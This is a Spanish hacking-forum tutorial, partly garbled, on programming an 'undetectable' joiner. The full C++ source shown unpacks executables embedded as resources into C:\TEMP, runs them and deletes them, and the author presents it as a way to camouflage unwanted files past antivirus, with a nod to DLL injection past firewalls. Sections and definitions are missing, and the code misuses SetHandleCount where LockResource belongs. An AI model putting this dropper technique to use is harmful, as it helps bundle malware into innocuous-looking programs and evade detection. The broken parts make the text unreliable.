Programar Joiner
Programar Joiner
Programar Joiner
INDETECTABLE***
by ColdWinteR “el niubi”
0x01. ÍNDICE
0x01 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Índice
0x02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Introducción
0x06 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Despedida
0x02. INTRODUCCIÓN
Advertencia: El autor no se responsabiliza del mal uso que se le pueda dar a la
información contenida en este texto; dicha información debería de emplearse sólo
con fines educativos y de aprendizaje.
Advertencia 2: El documento presentado es de libre distribución, pero siempre
y cuando se haga mención al autor: ColdWinteR “el niubi”.
Hola! :P Bien, sé que la gran mayoría no me conocéis, pero aún así me ahorraré
presentaciones estúpidas. Simplemente soy un newbie en el underground,
googleador como la mayoría, miembro de http://foro.elhacker.net como muchos y
programador como tantos otros xD Este es mi primer manual, realizado gracias a
una idea feliz que tuve esta mañana referente a los joiners. Quería escribir uno, pero
no sabía de qué, ya que podría haber hecho uno de nivel más avanzado sobre otra
cosa, pero la pereza pudo conmigo. No quería escribir nada demasiado extenso.
Bueno, últimamente he estado trapicheando con los joiners/binders. Para los que
no sepan lo que son ni lo que hacen, buscad y encontraréis por todas partes ;) Los
únicos que son y serán siempre indetectables (aunque nunca se sabe xD) que
conocía hasta hoy eran aplicaciones que probablemente tengáis instalados en
vuestros HDs: WinRaR e iexpress. No, no alarmaros xD Simplemente, se les puede
dar otro uso “especial” a estas aplicaciones: usarlas como joiners. Para ello,
recomiendo la lectura de un paper de Man-In-The-Middle que se encuentra en
http://foro.elhacker.net, sección “Troyanos y virus”, con una chincheta, que explica
perfectamente cómo usar el iexpress de Microsoft para este propósito.
No obstante, hay varios inconvenientes al usar este método, aunque pueden
resumirse en uno: los compresores que se tengan instalados. El primer inconveniente
de utilizar estas mencionadas técnicas, es que si tenéis instalado el WinRaR por
ejemplo (¿quién no lo tiene?), al hacer clic derecho en vuestro .exe resultado de la
unión, veréis varias opciones que cantan un poco-bastante. Todas ellas se basan en
que podréis extraer los archivos que hay dentro y así verlos por separado. El
segundo inconveniente es que, en el caso del WinRaR, en el menú “Propiedades”
del .exe resultado, aparece una pestaña muy misteriosa llamada “Archive”, en la
cual podéis comprobar los resultados de la compresión de los archivos que unisteis,
entre otras cosas.
Cierto es que podéis utilizar un editor hexadecimal y poner a 00 algunos offsets
del MSCF header, pero raramente tras hacer esto os funcione perfectamente al
buscar los archivos unidos si no se encuentran en el mismo directorio, además de
que desconozco a ciencia cierta si funcionará con otros compresores (para más
información sobre el MSCF, google :P).
Sin embargo, se me ocurrió una técnica para programar un joiner que es Y
SERÁ indetectable siempre ante todos los antivirus, y lo mejor es que es realmente
sencillo. Creo que cualquiera que tenga nociones básicas de programación en C/C++
y la API de Windows, entenderá a la perfección este manual.
Utilicé el Dev-C++ para desarrollarlo, y será lo único que necesitaremos aquí,
aunque se puede hacer con cualquier otro compilador de C/C++. Así pues, vamos
allá ^^
1 TABLA “archivo1.exe”
2 TABLA “archivo2.exe”
3 TABLA “archivo3.SuX”
...y tantas filas como archivos haya. Lo primero que aparece en cada fila es el
índice que tendrá en nuestra tabla de recursos “TABLA” nuestro archivo
“archivoX”. Dentro de una tabla de recursos, no puede haber dos o más archivos que
tengan el mismo índice en ella. Por lo demás, podéis hacer lo que queráis; como por
ejemplo utilizar en un archivo el índice 69 y en otro el índice abc, o crear una tabla
de recursos por archivo. Se crean automáticamente, no hay que hacer más que lo que
he dicho en nuestro archivo .rc.
Ahora comenzaremos a programar nuestro código en cuestión (archivo .cpp). Lo
primero, y por donde empieza todo source, serán los incluyes. Sólo necesitaremos
dos, y sí, serán los típicos y conocidos:
#include <stdio.h>
#include <windows.h>
Para lo que se mostrará aquí, con estos basta; si se quiere conseguir algo más
avanzado en el joiner, puede que necesitéis alguno más. En cuanto a funciones, lo
mismo: sólo necesitaréis el main para lo que se mostrará aquí.
Bien, ahora es cuando viene lo interesante. Tenemos que averiguar cómo
sacamos los datos de los resources de nuestro archivo final, y como ya sabréis, para
ello, lo primero es hacernos con el handle del resource que queremos.
¿Y cómo hacemos esto? Pues muy fácil: con una API llamada FindResource. La
definición de la misma, que la podemos encontrar en la web del MSDN Library, es
la siguiente:
Poco que explicar aquí... hData es el handle de los datos, el que obtuvimos con
LoadResource. Tendréis que hacerle un cast a UINT.
Para lo segundo, usaremos SizeofResource:
Ya si queréis ejecutar ese archivo o no, tan solo tenéis que utilizar debidamente
CreateProcess, y WaitForSingleObject si queréis borrarlos posteriormente con
DeleteFile. Finalmente, llamamos a ExitProcess.
#include <stdio.h>
#include <windows.h>
int main()
{
char *ruta = "C:\\TEMP"; //ruta del directorio temporal
char *ruta2 = "C:\\TEMP\\archivo1.exe"; //ruta del primer archivo
char *ruta3 = "C:\\TEMP\\archivo2.exe"; //ruta del segundo archivo
STARTUPINFO si;
PROCESS_INFORMATION pi;
HRSRC recurso;
HGLOBAL handle;
HANDLE archivo;
UINT buffer;
DWORD bytes;
CreateDirectory(ruta, NULL); //creamos el directorio si no existe
recurso = FindResource(NULL, "#1", "COSA"); //buscamos el resource
handle = LoadResource(NULL, recurso); //lo cargamos...
buffer = SetHandleCount((UINT)handle); //buffer que utilizaremos en
bytes = SizeofResource(NULL, recurso); //WriteFile, junto con bytes
archivo = CreateFile(ruta2, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL); //creamos el primer archivo
WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
CloseHandle(archivo); //cerramos el archivo
recurso = FindResource(NULL, "#2", "COSA"); //vuelta a empezar
handle = LoadResource(NULL, recurso);
buffer = SetHandleCount((UINT)handle);
bytes = SizeofResource(NULL, recurso);
archivo = CreateFile(ruta3, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
CloseHandle(archivo);
si.cb = sizeof(si); //atributos del proceso
si.dwFlags = STARTF_USESTDHANDLES;
si.lpReserved = NULL;
si.cbReserved2 = 0;
si.lpReserved2 = NULL;
CreateProcess(NULL,ruta2,NULL,NULL,true,0,NULL,NULL,&si,&pi);//ejecuta
WaitForSingleObject(pi.hProcess, INFINITE); //espera que se cierre o termine
DeleteFile(ruta2); //borra archivo
CreateProcess(NULL,ruta3,NULL,NULL,true,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess, INFINITE);
DeleteFile(ruta3);
RemoveDirectory(ruta); //borra la carpeta temporal si no hay más archivos
ExitProcess(0);
return 1;
}
Código de ejemplo_private.rc:
0x06. DESPEDIDA
Ea, pues esto es todo. Cómo podéis comprobar, con esta técnica el camuflaje de
archivos no deseables es realmente sencillo, y los antivirus no dirán “It’s official,
You SuCK!” ni nada de nada. En el ejemplo usé ejecutables, pero modificando un
poco el código se puede hacer para cualquier tipo de archivos; eso ya os lo dejo a
vosotros También es muy útil la utilización de resources en las inyecciones dll
que tanto le gustan a los firewalls; quizás algún día haga algún manual sobre ellas,
quien sabe xD Espero que haya aportado algo haciendo este manual. Si encontráis
algún error o tenéis alguna duda concreta al respecto, enviadme un pm en el foro de
elhacker.net. Saludos ^^
Agradecimientos:
- A todo aquel/la que se interesa por la informática y trata de mejorarla, ya sea con
medidas de seguridad, contraseguridad, desarrollador de software, programador
de videojuegos…
Desagradecimientos:
- A tod@s los que se dedican a destruir la informática y/o provocar un retraso, ya
sea por querer dárselas de hacker destruyendo lo ajeno, por encarecer la
conexión a internet, por poner impuestos estúpidos en la compra de cualquier
cd/dvd virgen, etc.
- A todo organismo, entidad, institución o individuo que cobre algo por enseñar, y
en lugar de mostrar lo que sabe intente cegar al populacho imponiéndole
aprender de forma caótica conocimientos inútiles para hacerle perder el tiempo.
Volveremos a encontrarnos…
ColdWinteR el “niubi”